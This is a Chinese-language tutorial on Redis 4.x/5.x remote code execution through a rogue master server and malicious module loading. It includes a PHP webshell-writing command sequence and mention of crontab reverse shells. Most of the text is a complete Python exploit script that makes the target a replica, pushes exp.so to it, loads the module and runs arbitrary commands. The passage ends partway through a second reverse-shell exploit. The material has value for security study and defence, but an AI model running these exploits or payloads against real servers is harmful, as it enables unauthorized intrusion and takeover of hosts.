攻击场景:
能够访问远程redis的端口(直接访问或者SSRF) 对redis服务器可以访问到的另一台服务器有控制权
实际上就是通过主从特性来 同步传输数据,同时利用模块加载来加载恶意的用来进行命令执行的函数,从而进行rce
redis之前的攻击方法有
1.写shell
CONFIG SET dir /VAR/WWW/HTML CONFIG SET dbfilename sh.php SET PAYLOAD '<?php eval($_GET[0]);?>' SAVE
但是对于网站根目录而言,redis不一定据有写权限
2.root权限写crontab或者ssh文件
高版本redis运行时为非root权限,并且写crontab反弹shell也仅仅局限于centos
攻击的整个流程为:
1.在我们要攻击的redis服务器上通过slave of来设置master,也就是来设置主服务器 2.在目标redis服务器上设置dbfilename 3.通过同步,将主服务器上的数据存到本地,也就是来写入我们的恶意模块(FULLRESYNC <Z*40> 1 $<len> <pld>) 4.在目标机器上执行load来家在我们的恶意模块(MODULE LOAD /tmp/exp.so)
环境搭建:
docker pull hareemca123/redis5:alpine
docker run -p 192.168.1.6:6379:6379 --name redis hareemca123/redis5:alpine
exp地址:
https://github.com/n0b0dyCN/redis-rogue-server
支持交互式shell和反弹shell
我们这里尝试写文件都是可以的:
只不过因为在docker里面所以写文件的位置是有限的,这里我只能写到/data,其他地方写不进去,因为这个镜像只是一个redis,如果是服务器上有redis,那么可以尝试向网站的根目录写shell,这里执行命令都是可以的
这里直接rce的exp:
源地址:
https://github.com/vulhub/redis-rogue-getshell
#!/usr/bin/env python3 import os import sys import argparse import socketserver import logging import socket import time logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='>> %(message)s') DELIMITER = b" " class RoguoHandler(socketserver.BaseRequestHandler): def decode(self, data): if data.startswith(b'*'): return data.strip().split(DELIMITER)[2::2] if data.startswith(b'$'): return data.split(DELIMITER, 2)[1] return data.strip().split() def handle(self): while True: data = self.request.recv(1024) logging.info("receive data: %r", data) arr = self.decode(data) if arr[0].startswith(b'PING'): self.request.sendall(b'+PONG' + DELIMITER) elif arr[0].startswith(b'REPLCONF'): self.request.sendall(b'+OK' + DELIMITER) elif arr[0].startswith(b'PSYNC') or arr[0].startswith(b'SYNC'): self.request.sendall(b'+FULLRESYNC ' + b'Z' * 40 + b' 1' + DELIMITER) self.request.sendall(b'$' + str(len(self.server.payload)).encode() + DELIMITER) self.request.sendall(self.server.payload + DELIMITER) break self.finish() def finish(self): self.request.close() class RoguoServer(socketserver.TCPServer): allow_reuse_address = True def __init__(self, server_address, payload): super(RoguoServer, self).__init__(server_address, RoguoHandler, True) self.payload = payload class RedisClient(object): def __init__(self, rhost, rport): self.client = socket.create_connection((rhost, rport), timeout=10) def send(self, data): data = self.encode(data) self.client.send(data) logging.info("send data: %r", data) return self.recv() def recv(self, count=65535): data = self.client.recv(count) logging.info("receive data: %r", data) return data def encode(self, data): if isinstance(data, bytes): data = data.split() args = [b'*', str(len(data)).encode()] for arg in data: args.extend([DELIMITER, b'$', str(len(arg)).encode(), DELIMITER, arg]) args.append(DELIMITER) return b''.join(args) def decode_command_line(data): if not data.startswith(b'$'): return data.decode(errors='ignore') offset = data.find(DELIMITER) size = int(data[1:offset]) offset += len(DELIMITER) data = data[offset:offset+size] return data.decode(errors='ignore') def exploit(rhost, rport, lhost, lport, expfile, command, auth): with open(expfile, 'rb') as f: server = RoguoServer(('0.0.0.0', lport), f.read()) #在攻击者主机建立伪造redis主服务器,并且设置恶意模块数据 client = RedisClient(rhost, rport) #连接客户端redis,也就是被攻击的redis服务器 lhost = lhost.encode() lport = str(lport).encode() command = command.encode() if auth: client.send([b'AUTH', auth.encode()]) client.send([b'SLAVEOF', lhost, lport]) #设置我们的攻击机为master client.send([b'CONFIG', b'SET', b'dbfilename', b'exp.so']) #设置用来保存恶意模块的文件名,这里不能跨目录,源码中有限制,lemon师傅已经分析过 time.sleep(2) server.handle_request() time.sleep(2) client.send([b'MODULE', b'LOAD', b'./exp.so']) #加载恶意模块 client.send([b'SLAVEOF', b'NO', b'ONE']) #停止同步主服务器数据 client.send([b'CONFIG', b'SET', b'dbfilename', b'dump.rdb']) #将恶意模块写入到本地磁盘 resp = client.send([b'system.exec', command]) #发送要执行的命令 print(decode_command_line(resp)) client.send([b'MODULE', b'UNLOAD', b'system']) #卸载rce的模块 def main(): parser = argparse.ArgumentParser(description='Redis 4.x/5.x RCE with RedisModules') parser.add_argument("-r", "--rhost", dest="rhost", type=str, help="target host", required=True) parser.add_argument("-p", "--rport", dest="rport", type=int, help="target redis port, default 6379", default=6379) parser.add_argument("-L", "--lhost", dest="lhost", type=str, help="rogue server ip", required=True) parser.add_argument("-P", "--lport", dest="lport", type=int, help="rogue server listen port, default 21000", default=21000) parser.add_argument("-f", "--file", type=str, help="RedisModules to load, default exp.so", default='exp.so') parser.add_argument('-c', '--command', type=str, help='Command that you want to execute', default='id') parser.add_argument("-a", "--auth", dest="auth", type=str, help="redis password") options = parser.parse_args() filename = options.file if not os.path.exists(filename): logging.info("Where you module? ") sys.exit(1) exploit(options.rhost, options.rport, options.lhost, options.lport, filename, options.command, options.auth) #初始化攻击参数 if __name__ == '__main__': main()
这个exp只是用来执行命令的,不带反弹shell,下面这个exp是反弹shell的,但是直接跑有点编码上的问题,需要改一点点:
#coding:utf-8 import socket import sys from time import sleep from optparse import OptionParser import re CLRF = " " SERVER_EXP_MOD_FILE = "exp.so" DELIMITER = b" " BANNER = """______ _ _ ______ _____ | ___ | (_) | ___ / ___| | |_/ /___ __| |_ ___ | |_/ /___ __ _ _ _ ___ `--. ___ _ ____ _____ _ __ | // _ / _` | / __| | // _ / _` | | | |/ _ `--. / _ '__ / / _ '__| | | __/ (_| | \__ | | (_) | (_| | |_| | __/ /\__/ / __/ | V / __/ | \_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_| \_/ \___|_| __/ | |___/ @copyright n0b0dy @ r3kapig """ def encode_cmd_arr(arr): cmd = "" cmd += "*" + str(len(arr)) for arg in arr: cmd += CLRF + "$" + str(len(arg)) cmd += CLRF + arg cmd += " " return cmd def encode_cmd(raw_cmd): return encode_cmd_arr(raw_cmd.split(" ")) def decode_cmd(cmd): if cmd.startswith("*"): raw_arr = cmd.strip().split(" ") return raw_arr[2::2] if cmd.startswith("$"): return cmd.split(" ", 2)[1] return cmd.strip().split(" ") def info(msg): print(f"